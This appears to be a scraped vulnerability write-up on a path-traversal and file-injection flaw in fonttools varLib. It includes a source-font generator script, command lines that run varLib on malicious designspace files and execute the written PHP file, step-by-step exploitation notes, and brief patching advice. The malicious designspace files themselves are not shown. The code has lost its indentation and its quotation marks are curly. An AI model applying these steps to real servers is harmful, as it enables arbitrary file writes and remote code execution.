Listen to this Post
The vulnerability in fonttools varLib arises from unsanitized user input handling in the `main()` function when processing .designspace files. Specifically, the `filename` attribute from the `variable-font` element is directly used without validation. This allows attackers to embed path traversal sequences like `../../` in the `filename` value. When the script constructs the output path using os.path.join(output_dir, filename), it does not prevent directory traversal, leading to arbitrary file write. Additionally, XML injection is possible via `labelname` elements within the designspace file. Malicious content, such as PHP code wrapped in CDATA sections, can be injected into the output file. By writing a file with controlled content to a web-accessible directory, an attacker can achieve remote code execution when the file is accessed and executed by the server. The vulnerability requires no special privileges and can overwrite critical system files, enabling further privilege escalation.
Platform: fonttools
Version: Multiple versions
Vulnerability: Arbitrary file write
Severity: Critical
date: Unknown
Prediction: Patch date unknown
What Undercode Say:
Analytics
!/usr/bin/env python3
import os
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
def create_source_font(filename, weight=400):
fb = FontBuilder(unitsPerEm=1000, isTTF=True)
fb.setupGlyphOrder([“.notdef”])
fb.setupCharacterMap({})
pen = TTGlyphPen(None)
pen.moveTo((0, 0))
pen.lineTo((500, 0))
pen.lineTo((500, 500))
pen.lineTo((0, 500))
pen.closePath()
fb.setupGlyf({“.notdef”: pen.glyph()})
fb.setupHorizontalMetrics({“.notdef”: (500, 0)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupOS2(usWeightClass=weight)
fb.setupPost()
fb.setupNameTable({“familyName”: “Test”, “styleName”: f”Weight{weight}”})
fb.save(filename)
if __name__ == ‘__main__’:
os.chdir(os.path.dirname(os.path.abspath(__file__)))
create_source_font(“source-light.ttf”, weight=100)
create_source_font(“source-regular.ttf”, weight=400)
python3 setup.py
fonttools varLib malicious.designspace
cat ../../tmp/newarbitraryfile.json
fonttools varLib malicious2.designspace -o file123
php file123
ls -la /tmp/MEOW123
how Exploit:
Create malicious .designspace file with path traversal in filename attribute and XML injection in labelname elements. Generate required source font files. Execute varLib script to write arbitrary file with malicious content. Access written file via web to trigger RCE.
Protection from this CVE
Sanitize filename inputs. Restrict output paths. Validate XML content. Apply security patches.
Impact:
Remote code execution. File system corruption. Privilege escalation. Denial of service.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
